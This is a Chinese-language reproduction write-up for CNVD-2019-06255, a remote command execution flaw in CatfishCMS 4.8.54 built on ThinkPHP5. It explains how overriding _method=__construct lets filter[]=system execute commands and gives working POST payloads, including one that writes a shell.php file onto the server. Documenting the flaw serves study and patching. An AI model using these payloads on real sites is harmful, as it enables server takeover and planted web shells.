menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CNVD-2019-06255)CatfishCMS远程命令执行 chevron_right (CNVD-2019-06255)CatfishCMS远程命令执行.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CNVD-2019-06255)CatfishCMS远程命令执行.md
    2.46 KB / 2021-07-15 19:49:18
        (CNVD-2019-06255)CatfishCMS远程命令执行
    =========================================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    v4.8.54
    
    三、复现过程
    ------------
    
    ### 1、\_method=\_\_construct
    
    CatfishCMS基于thinkPHP5开发。Request类(catfish/library/think/Request.php)用于处理请求。它的成员函数method用于获取请求的类型。
    
    ![](./resource/(CNVD-2019-06255)CatfishCMS远程命令执行/media/rId25.png)
    
    application/config.php 中定义了"表单请求类型伪装变量":
    
    ![](./resource/(CNVD-2019-06255)CatfishCMS远程命令执行/media/rId26.png)
    
    POST请求参数 " \_method=\_\_construct ",将 \_\_construct
    传给了var\_method ,在Request类的method函数中执行后,实现了对Request类的
    \_\_construct 构造函数的调用;并且将完整的POST参数传给了构造函数。
    
    ### 2、method=\*&filter\[\]=system
    
    catfish/library/think/Request.php模块中的Request类的构造函数:
    
    ![](./resource/(CNVD-2019-06255)CatfishCMS远程命令执行/media/rId28.png)
    
    中存在的参数,就取用户传入的值为其赋值。
    
    \_method=\_\_construct 使得 method 函数调用了 \_\_construct 构造函数,
    并且将完整的POST参数传递过去。实现了对本类中的 \$method 和 \$filter
    两个全局变量的覆盖。
    
    ![](./resource/(CNVD-2019-06255)CatfishCMS远程命令执行/media/rId29.png)
    
    ![](./resource/(CNVD-2019-06255)CatfishCMS远程命令执行/media/rId30.png)
    
    filter\[\]=system 的补充说明:filter\[\]=system 或者
    filter=system都可以,\[\]符号可有可无;system意为执行系统命令。
    
    Method=\* 的补充说明:
    
    method参数的取值限定为:catfish/library/think/Route.php
    模块中定义的路由规则。如:GET、POST、PUT、\*
    等任何一个值都可以;如果值不在此表或为空,都会报错。
    
    ![](./resource/(CNVD-2019-06255)CatfishCMS远程命令执行/media/rId31.png)
    
    ### 3、s=dir
    
    application/config.php 中定义PATHINFO变量名为' s
    '。可用s传入需要执行的命令,如s=dir
    
    最终的的payload:
    
        s=dir&_method=__construct&method=*&filter[]=system
    
    \_method=\_\_construct 使得 Request类的method函数调用 \_\_construct
    构造函数,并且将完整的payload传递给构造函数;构造函数中对 method
    和filter 两个全局变量进行覆盖,method=&filter\[\]=system
    ;参数s=dir传入需要执行的系统命令 dir 。
    
        s=echo "shell" >shell.php&filter[]=system&method=*&_method=__construct
    
    
    links
    file_download